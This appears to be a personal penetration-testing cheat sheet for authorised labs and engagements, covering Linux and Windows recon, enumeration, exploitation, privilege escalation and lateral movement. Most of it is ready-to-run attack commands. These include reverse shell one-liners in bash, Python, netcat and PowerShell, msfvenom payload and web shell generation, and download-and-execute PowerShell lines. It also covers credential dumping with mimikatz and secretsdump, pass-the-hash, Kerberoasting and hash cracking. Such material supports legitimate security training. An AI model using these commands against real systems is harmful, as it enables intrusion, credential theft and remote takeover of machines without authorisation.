Overview

A working cheat sheet of commands I reach for during engagements and labs — recon, enumeration, exploitation, and post-exploit. Targets cover both Linux and Windows. Commands assume an authorised lab or engagement; nothing here should be pointed at systems you do not own or have permission to test.

Replace placeholder values (TARGET, RHOST, LHOST, LPORT, DOMAIN, USER, PASS) before running anything.

Recon & scanning

Host discovery

Sweep a subnet to identify live hosts before scanning ports.

# ICMP / ARP sweep
nmap -sn 10.10.10.0/24
fping -ag 10.10.10.0/24 2>/dev/null
arp-scan -l

Port and service scans

Start fast and broad, then go deep on the interesting ports.

# Quick top-1000 sweep
nmap -T4 --top-ports 1000 -oN nmap/quick TARGET

# Full TCP with service/version + default scripts
nmap -p- -sC -sV -T4 -oN nmap/full TARGET

# UDP top 100 (slow — run in parallel)
sudo nmap -sU --top-ports 100 -oN nmap/udp TARGET

# Vuln scripts
nmap --script vuln -p 80,443,445 TARGET

# Masscan for very fast TCP discovery on large ranges
sudo masscan -p1-65535 --rate=2000 10.10.10.0/24 -oG masscan.gnmap

DNS and OSINT

Pull whatever public surface a domain exposes.

whois example.com
dig +short example.com any
dig axfr @ns1.example.com example.com   # zone transfer attempt
dnsenum example.com
theHarvester -d example.com -b all
subfinder -d example.com -silent
amass enum -passive -d example.com

Enumeration

Web

Content discovery, fingerprinting, and quick vuln checks.

gobuster dir -u http://TARGET -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,txt
ffuf -u http://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302
ffuf -u "http://TARGET/?id=FUZZ" -w wordlist.txt -fs 0   # parameter / value fuzzing
feroxbuster -u http://TARGET -d 2
whatweb -a3 http://TARGET
nikto -h http://TARGET
wpscan --url http://TARGET --enumerate u,p,t

Virtual-host discovery when the box runs name-based vhosts:

ffuf -u http://TARGET -H "Host: FUZZ.target.htb" -w subdomains.txt -fs 0

SMB

smbclient -L //TARGET/ -N
smbmap -H TARGET -u 'guest' -p ''
enum4linux-ng -A TARGET
crackmapexec smb TARGET -u USER -p PASS --shares
crackmapexec smb TARGET -u users.txt -p passwords.txt --continue-on-success

LDAP / Active Directory

ldapsearch -x -H ldap://DC -b "dc=corp,dc=local" -s sub "(objectClass=user)"
kerbrute userenum --dc DC -d corp.local users.txt
GetNPUsers.py corp.local/ -dc-ip DC -usersfile users.txt -no-pass    # AS-REP roast
GetUserSPNs.py corp.local/USER:PASS -dc-ip DC -request               # Kerberoast
bloodhound-python -u USER -p PASS -d corp.local -dc DC -c All

Other services

snmpwalk -v2c -c public TARGET
showmount -e TARGET                # NFS exports
redis-cli -h TARGET                # often unauthenticated
mysql -h TARGET -u root -p
ftp TARGET                         # try anonymous / anonymous

Exploitation & shells

Searchsploit and Metasploit

searchsploit apache 2.4.49
searchsploit -m linux/remote/50383.py     # mirror exploit locally
msfconsole -q
# inside msfconsole:
#   search cve:2021-41773
#   use exploit/multi/http/apache_normalize_path_rce
#   set RHOSTS TARGET; set LHOST tun0; run

Reverse shell payloads

Pick whatever the target has installed.

# Bash
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'

# Python3
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'

# Netcat with mkfifo (no -e support)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f

# PowerShell one-liner (Windows)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('LHOST',LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"

msfvenom payload generation

# Linux ELF reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=4444 -f elf -o shell.elf

# Windows EXE reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=4444 -f exe -o shell.exe

# Stageless meterpreter
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=tun0 LPORT=443 -f exe -o met.exe

# Web shells
msfvenom -p php/reverse_php LHOST=tun0 LPORT=4444 -f raw -o shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=tun0 LPORT=4444 -f war -o shell.war

Listeners

nc -lvnp 4444
rlwrap nc -lvnp 4444         # arrow keys + history in the callback
pwncat-cs -lp 4444           # auto TTY upgrade + post-exploit modules

TTY upgrade after a bash callback

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl-Z
stty raw -echo; fg
# then in the shell:
export TERM=xterm-256color
stty rows 50 columns 200

File transfer

# Attacker side
python3 -m http.server 8000
impacket-smbserver share . -smb2support -username u -password p

# Linux target
wget http://LHOST:8000/linpeas.sh -O /tmp/linpeas.sh
curl -O http://LHOST:8000/file

# Windows target
certutil -urlcache -f http://LHOST:8000/winPEASx64.exe winPEAS.exe
powershell -c "Invoke-WebRequest http://LHOST:8000/nc.exe -OutFile nc.exe"
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://LHOST:8000/PowerUp.ps1')"
copy \\LHOST\share\file.exe .

Post-exploit & privesc

Linux enumeration

# Automated
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
./linenum.sh -t
./pspy64                          # watch cron / processes for privileged actions

# Manual quick wins
id; sudo -l
find / -perm -4000 -type f 2>/dev/null      # SUID binaries
find / -writable -type d 2>/dev/null
getcap -r / 2>/dev/null                      # capabilities
cat /etc/crontab; ls -la /etc/cron.*
ps -ef --forest

Cross-reference any unusual SUID binary or sudo entry against GTFOBins (https://gtfobins.github.io).

Windows enumeration

.\winPEASx64.exe
.\Seatbelt.exe -group=all

whoami /priv
whoami /groups
systeminfo
net user
net localgroup administrators
net user USER /domain
ipconfig /all
route print
arp -a

# Looking for unquoted service paths and weak service ACLs
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

PowerShell privesc helpers:

IEX(New-Object Net.WebClient).DownloadString('http://LHOST:8000/PowerUp.ps1'); Invoke-AllChecks
IEX(New-Object Net.WebClient).DownloadString('http://LHOST:8000/Sherlock.ps1'); Find-AllVulns

Credential dumping

# Linux
sudo cat /etc/shadow
unshadow /etc/passwd /etc/shadow > unshadow.db
john --wordlist=/usr/share/wordlists/rockyou.txt unshadow.db

# Windows — mimikatz (run elevated)
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
lsadump::sam

# Remote SAM/LSA/NTDS dump with valid creds
secretsdump.py corp.local/USER:PASS@DC
secretsdump.py -just-dc-ntlm corp.local/USER:PASS@DC
lsassy -u USER -p PASS TARGETS

Lateral movement

# Impacket
psexec.py corp.local/USER:PASS@TARGET
wmiexec.py corp.local/USER:PASS@TARGET
smbexec.py corp.local/USER:PASS@TARGET

# Pass-the-hash
crackmapexec smb TARGETS -u USER -H NTLM_HASH --local-auth
psexec.py -hashes :NTLM_HASH corp.local/USER@TARGET

# evil-winrm (WinRM 5985/5986)
evil-winrm -i TARGET -u USER -p PASS
evil-winrm -i TARGET -u USER -H NTLM_HASH

Hash cracking

# Identify
hashid 'HASH'

# John
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --format=NT hashes.txt --wordlist=rockyou.txt

# Hashcat (modes: 1000=NTLM, 5600=NetNTLMv2, 13100=Kerberos TGS, 18200=AS-REP)
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 5600 netntlmv2.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Lab hygiene: keep notes of every artefact you drop on a target (paths, services, scheduled tasks, accounts) so you can clean up afterwards.